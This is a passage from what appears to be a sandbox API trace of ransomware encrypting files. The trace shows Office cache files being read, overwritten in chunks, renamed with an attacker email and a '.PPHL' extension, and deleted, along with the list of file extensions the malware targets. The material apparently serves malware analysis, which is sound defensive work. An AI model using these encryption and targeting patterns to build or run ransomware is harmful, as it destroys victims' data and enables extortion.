users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0061.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0061.126] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0061.126] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.126] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.135] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.135] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.144] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.144] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.144] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.473] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.473] WriteFile (in: hFile=0x1bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0061.488] SetEndOfFile (hFile=0x1bc) returned 1 [0061.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0061.492] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.492] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.883] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.883] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.884] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.884] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0061.942] CloseHandle (hObject=0x1bc) returned 1 [0064.706] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0064.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.707] lstrlenW (lpString=".doc") returned 4 [0064.707] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString=".docx") returned 5 [0064.707] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.707] lstrlenW (lpString=".pdf") returned 4 [0064.707] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString=".xls") returned 4 [0064.707] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString=".xlsx") returned 5 [0064.707] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.707] lstrlenW (lpString=".ppt") returned 4 [0064.707] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.707] lstrlenW (lpString=".zip") returned 4 [0064.707] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString=".rar") returned 4 [0064.707] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.707] lstrlenW (lpString=".bz2") returned 4 [0064.707] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.707] lstrlenW (lpString=".7z") returned 3 [0064.707] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.707] lstrlenW (lpString=".dbf") returned 4 [0064.708] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.708] lstrlenW (lpString=".1cd") returned 4 [0064.708] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.708] lstrlenW (lpString=".jpg") returned 4 [0064.708] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.708] lstrlenW (lpString=".doc") returned 4 [0064.708] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString=".docx") returned 5 [0064.708] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0064.708] lstrlenW (lpString=".pdf") returned 4 [0064.708] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString=".xls") returned 4 [0064.708] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString=".xlsx") returned 5 [0064.708] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0064.708] lstrlenW (lpString=".ppt") returned 4 [0064.708] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.708] lstrlenW (lpString=".zip") returned 4 [0064.708] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.708] lstrlenW (lpString=".rar") returned 4 [0064.708] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.709] lstrlenW (lpString=".bz2") returned 4 [0064.709] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.709] lstrlenW (lpString=".7z") returned 3 [0064.709] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.709] lstrlenW (lpString=".dbf") returned 4 [0064.709] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.709] lstrlenW (lpString=".1cd") returned 4 [0064.709] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0064.709] lstrlenW (lpString=".jpg") returned 4 [0064.709] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.709] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0064.709] lstrlenW (lpString="WordLR.cab") returned 10 [0064.709] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0064.710] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=43806141) returned 1 [0064.710] CloseHandle (hObject=0x1bc) returned 1 [0064.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0064.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.710] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0064.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0064.711] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0064.711] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0064.711] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.437] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.437] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.462] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.462] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.462] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.580] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.580] WriteFile (in: hFile=0x1bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0066.954] SetEndOfFile (hFile=0x1bc) returned 1 [0066.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f41f88 [0066.954] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0066.954] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.955] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0066.955] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.958] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0066.958] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f41f88*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41f88*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.960] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f41f88 | out: hHeap=0x5d0000) returned 1 [0066.960] CloseHandle (hObject=0x1bc) returned 1 [0069.701] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0069.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.701] lstrlenW (lpString=".doc") returned 4 [0069.701] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.701] lstrlenW (lpString=".docx") returned 5 [0069.701] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0069.701] lstrlenW (lpString=".pdf") returned 4 [0069.701] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.701] lstrlenW (lpString=".xls") returned 4 [0069.702] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".xlsx") returned 5 [0069.702] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0069.702] lstrlenW (lpString=".ppt") returned 4 [0069.702] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString=".zip") returned 4 [0069.702] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".rar") returned 4 [0069.702] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".bz2") returned 4 [0069.702] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.702] lstrlenW (lpString=".7z") returned 3 [0069.702] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString=".dbf") returned 4 [0069.702] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString=".1cd") returned 4 [0069.702] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString=".jpg") returned 4 [0069.702] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.702] lstrlenW (lpString=".doc") returned 4 [0069.702] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".docx") returned 5 [0069.702] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0069.702] lstrlenW (lpString=".pdf") returned 4 [0069.702] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".xls") returned 4 [0069.702] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0069.702] lstrlenW (lpString=".xlsx") returned 5 [0069.703] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0069.703] lstrlenW (lpString=".ppt") returned 4 [0069.703] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0069.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.703] lstrlenW (lpString=".zip") returned 4 [0069.703] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0069.703] lstrlenW (lpString=".rar") returned 4 [0069.703] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0069.703] lstrlenW (lpString=".bz2") returned 4 [0069.703] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0069.703] lstrlenW (lpString=".7z") returned 3 [0069.703] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0069.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.703] lstrlenW (lpString=".dbf") returned 4 [0069.703] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0069.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.703] lstrlenW (lpString=".1cd") returned 4 [0069.703] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0069.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0069.703] lstrlenW (lpString=".jpg") returned 4 [0069.703] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0069.703] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0069.703] lstrlenW (lpString="Proof.msi") returned 9 [0069.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.704] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=885760) returned 1 [0069.704] CloseHandle (hObject=0x1bc) returned 1 [0069.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0069.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.704] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.704] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.704] GetLastError () returned 0x0 [0069.704] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0xd8400, lpOverlapped=0x0) returned 1 [0069.727] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0069.905] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0069.905] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0069.918] SetEndOfFile (hFile=0x1f0) returned 1 [0069.918] CloseHandle (hObject=0x1f0) returned 1 [0069.929] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.929] SetEndOfFile (hFile=0x1bc) returned 1 [0069.941] CloseHandle (hObject=0x1bc) returned 1 [0069.941] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0069.941] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0069.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.942] lstrlenW (lpString=".doc") returned 4 [0069.942] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.942] lstrlenW (lpString=".docx") returned 5 [0069.942] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0069.942] lstrlenW (lpString=".pdf") returned 4 [0069.942] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.942] lstrlenW (lpString=".xls") returned 4 [0069.942] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.942] lstrlenW (lpString=".xlsx") returned 5 [0069.942] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0069.942] lstrlenW (lpString=".ppt") returned 4 [0069.942] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.942] lstrlenW (lpString=".zip") returned 4 [0069.942] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.942] lstrlenW (lpString=".rar") returned 4 [0069.942] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.942] lstrlenW (lpString=".bz2") returned 4 [0069.942] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.942] lstrlenW (lpString=".7z") returned 3 [0069.942] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.942] lstrlenW (lpString=".dbf") returned 4 [0069.942] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.942] lstrlenW (lpString="C:\\MSOCache\\All 